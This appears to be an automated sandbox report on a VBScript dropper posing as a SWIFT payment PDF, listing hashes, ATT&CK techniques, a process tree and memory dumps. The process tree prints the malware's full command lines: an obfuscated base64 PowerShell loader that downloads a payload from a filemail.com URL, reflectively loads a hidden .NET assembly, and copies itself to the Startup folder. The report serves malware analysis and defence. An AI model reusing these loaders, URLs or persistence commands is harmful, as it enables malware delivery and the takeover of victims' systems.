167887f979c648809aa8328edba96d972b401f74b06ee5026ea073efd4d9b432

General

Target

SWIFT103202414111523339800111124.pdf.vbs
Size

1KB
MD5

1571d85ecdbd26ac45e3f2639e7e4310
SHA1

b1dd5db95e88132a5052b451b757b9ce486bccc0
SHA256

167887f979c648809aa8328edba96d972b401f74b06ee5026ea073efd4d9b432
SHA512

e0d9a19616e3762c67b0f2d24a92529c3bbd26f01938768c0d213470628df97e7f2bf6aa7c0bdf60018590862e500c1ad6bb6e4b0585b4be47d1b06dd9fb4bcf

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	1760	WScript.exe
4	1760	WScript.exe
8	2424	powershell.exe
9	2424	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2876	powershell.exe
2292	powershell.exe
2424	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1964	cmd.exe
2824	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2824	PING.EXE

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2876	powershell.exe
2292	powershell.exe
2424	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2876	powershell.exe
Token: SeDebugPrivilege	2292	powershell.exe
Token: SeDebugPrivilege	2424	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1760 wrote to memory of 1964	1760	WScript.exe	30
PID 1760 wrote to memory of 1964	1760	WScript.exe	30
PID 1760 wrote to memory of 1964	1760	WScript.exe	30
PID 1964 wrote to memory of 2824	1964	cmd.exe	32
PID 1964 wrote to memory of 2824	1964	cmd.exe	32
PID 1964 wrote to memory of 2824	1964	cmd.exe	32
PID 1964 wrote to memory of 2876	1964	cmd.exe	33
PID 1964 wrote to memory of 2876	1964	cmd.exe	33
PID 1964 wrote to memory of 2876	1964	cmd.exe	33
PID 1760 wrote to memory of 2292	1760	WScript.exe	34
PID 1760 wrote to memory of 2292	1760	WScript.exe	34
PID 1760 wrote to memory of 2292	1760	WScript.exe	34
PID 2292 wrote to memory of 2424	2292	powershell.exe	36
PID 2292 wrote to memory of 2424	2292	powershell.exe	36
PID 2292 wrote to memory of 2424	2292	powershell.exe	36

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SWIFT103202414111523339800111124.pdf.vbs"
1⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:1760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\SWIFT103202414111523339800111124.pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1964
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\SWIFT103202414111523339800111124.pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggKFtzVHJpbkddJFZFcmJvc0VQckVmZVJlbmNFKVsxLDNdKydYJy1qT0luJycpICggKCgnWFpsaW1hZ2VVcmwgPSA0cWpodHRwczovLzEwMTcuZmlsZScrJ21haWwuY29tL2FwaS9maWxlL2dldD9maWxlJysna2V5PTJBYV9iV285UmV1NDV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0R3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzNXcmcGtfdicrJ2lkPWZkNGY2MTRiYjIwOWM2MicrJ2MxNzMnKycwJysnOTQ1MTc2YTA5MDRmIDRxajtYWmx3ZWJDbGllbnQgPSBOZXcnKyctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1habGltYWdlQnl0ZXMgPSBYWmx3ZWJDbGllbnQuRG93bmxvYWREYXRhKFhabGltYWdlVXJsKTtYWmxpbWFnZVRleHQgPSBbU3lzdGVtLlQnKydleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhYWmxpbWFnZUJ5dGVzKTtYWmxzdGFydEZsYWcgPSA0cWo8PEJBU0U2NF9TVEFSVD4+NHFqO1habGVuZEZsYWcgPSA0cWo8PEJBU0U2NF9FTkQ+PjRxajtYWmwnKydzdGFydEluZGUnKyd4ID0gWFpsaW1hZ2VUZXh0LkluZGV4T2YoWFpsc3RhcnRGbGFnKTtYWmxlbmRJbmRleCA9IFhabGltYWdlVGV4dC5JbmRleE9mKFhabGVuZEZsYWcpO1habHN0YXJ0SW5kZXggLWdlIDAgLWFuZCBYWmxlbmRJbmRleCcrJyAtZ3QgWFpsc3RhcnRJbmRleCcrJztYWmxzdGFydEluZGV4ICs9IFhabHN0YXJ0RmxhZy5MZW5ndGg7WFpsYmFzZTY0TGVuZ3RoID0gWFpsZW5kSScrJ25kZXggLSBYWmxzdGFydEluZGV4O1habGJhc2U2NENvbW1hbmQgPSBYWmxpbWFnZVRleHQuU3ViJysnc3RyaW5nKFhabHN0YXJ0SW5kZScrJ3gsIFhabGJhc2U2NExlbmd0aCk7WFpsYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoWFpsYmFzZTY0Q29tbWFuZC5Ub0NoYScrJ3JBcnJheSgpIHAzayBGb3JFYWNoLU9iamVjdCB7IFhabF8gfSlbLTEuLi0oWFpsYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtYWmxjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFhabGJhc2U2NFJldmVyc2VkKTtYWmxsJysnb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoWFpsY29tbWFuZEJ5dGVzKTtYWmx2YWlNZXRob2QgPSAnKydbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKDRxalZBJysnSTRxaicrJyk7WFpsdmFpTWV0aG9kLkludm9rZShYWmxudWxsLCBAKDRxajAvTFI5Q2cvZC9lZS5lJysndHNhcC8vOnNwdHRoNHFqLCA0cWpkJysnZXNhdGl2YWRvNHFqLCAnKyc0cWpkZXNhdGl2YWRvNHFqLCA0cWpkZXNhdGl2YWRvNHFqLCA0cWpNU0J1aWxkNHFqLCA0cWpkZXNhdGl2YWRvNHFqLCA0cWpkZXNhdGl2YWRvNHFqLDRxamRlc2F0aXZhZG80cWosNHFqZGVzYXRpdmFkbzRxaiw0cWpkZXNhdGl2YWRvNHFqLDRxamRlc2F0aXZhZG80cWosJysnNHFqZGVzYScrJ3RpdmFkbzRxaiw0cWoxNHFqLDRxamRlc2F0aXZhZG80cWopKTsnKSAgLUNSZVBsQUNlKFtjaEFyXTg4K1tjaEFyXTkwK1tjaEFyXTEwOCksW2NoQXJdMzYgLVJFcGxhY2UnNHFqJyxbY2hBcl0zOSAgLVJFcGxhY2UgJ3AzaycsW2NoQXJdMTI0KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2292
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( ([sTrinG]$VErbosEPrEfeRencE)[1,3]+'X'-jOIn'') ( (('XZlimageUrl = 4qjhttps://1017.file'+'mail.com/api/file/get?file'+'key=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_v'+'id=fd4f614bb209c62'+'c173'+'0'+'945176a0904f 4qj;XZlwebClient = New'+'-Object System.Net.WebClient;XZlimageBytes = XZlwebClient.DownloadData(XZlimageUrl);XZlimageText = [System.T'+'ext.Encoding]::UTF8.GetSt'+'ring(XZlimageBytes);XZlstartFlag = 4qj<<BASE64_START>>4qj;XZlendFlag = 4qj<<BASE64_END>>4qj;XZl'+'startInde'+'x = XZlimageText.IndexOf(XZlstartFlag);XZlendIndex = XZlimageText.IndexOf(XZlendFlag);XZlstartIndex -ge 0 -and XZlendIndex'+' -gt XZlstartIndex'+';XZlstartIndex += XZlstartFlag.Length;XZlbase64Length = XZlendI'+'ndex - XZlstartIndex;XZlbase64Command = XZlimageText.Sub'+'string(XZlstartInde'+'x, XZlbase64Length);XZlbase64Reversed = -join (XZlbase64Command.ToCha'+'rArray() p3k ForEach-Object { XZl_ })[-1..-(XZlbase64Command.Length)];XZlcommandBytes = [System.Convert]::FromBase64String(XZlbase64Reversed);XZll'+'oadedAssembly = [System.Reflection.Assembly]::Load(XZlcommandBytes);XZlvaiMethod = '+'[dnlib.IO.Home].GetMethod(4qjVA'+'I4qj'+');XZlvaiMethod.Invoke(XZlnull, @(4qj0/LR9Cg/d/ee.e'+'tsap//:sptth4qj, 4qjd'+'esativado4qj, '+'4qjdesativado4qj, 4qjdesativado4qj, 4qjMSBuild4qj, 4qjdesativado4qj, 4qjdesativado4qj,4qjdesativado4qj,4qjdesativado4qj,4qjdesativado4qj,4qjdesativado4qj,'+'4qjdesa'+'tivado4qj,4qj14qj,4qjdesativado4qj));') -CRePlACe([chAr]88+[chAr]90+[chAr]108),[chAr]36 -REplace'4qj',[chAr]39 -REplace 'p3k',[chAr]124) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2424

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
39012b274bbad464adc1df51f3207f3d

SHA1
d91919a1cb015655f70a22bb18483e2f3e82f188

SHA256
0b0074d3fea319a6e0ea6a0cb5d2d81a939add156fb4ba69b25acc467214aa54

SHA512
dcb9eaf11826e3b6623bacfc4e00e5ffef5b62c76e411078f2ed3790bfb1c188a7b5cf8da6c67c96ed8bd69e916a0b397901f10f81da008a363de592b187ca9b

Download Submit
memory/2292-18-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2292-19-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/2876-5-0x000007FEF61AE000-0x000007FEF61AF000-memory.dmp

Filesize
4KB

Download
memory/2876-6-0x000000001B880000-0x000000001BB62000-memory.dmp

Filesize
2.9MB

Download
memory/2876-7-0x00000000026E0000-0x00000000026E8000-memory.dmp

Filesize
32KB

Download
memory/2876-8-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-9-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-11-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-10-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-12-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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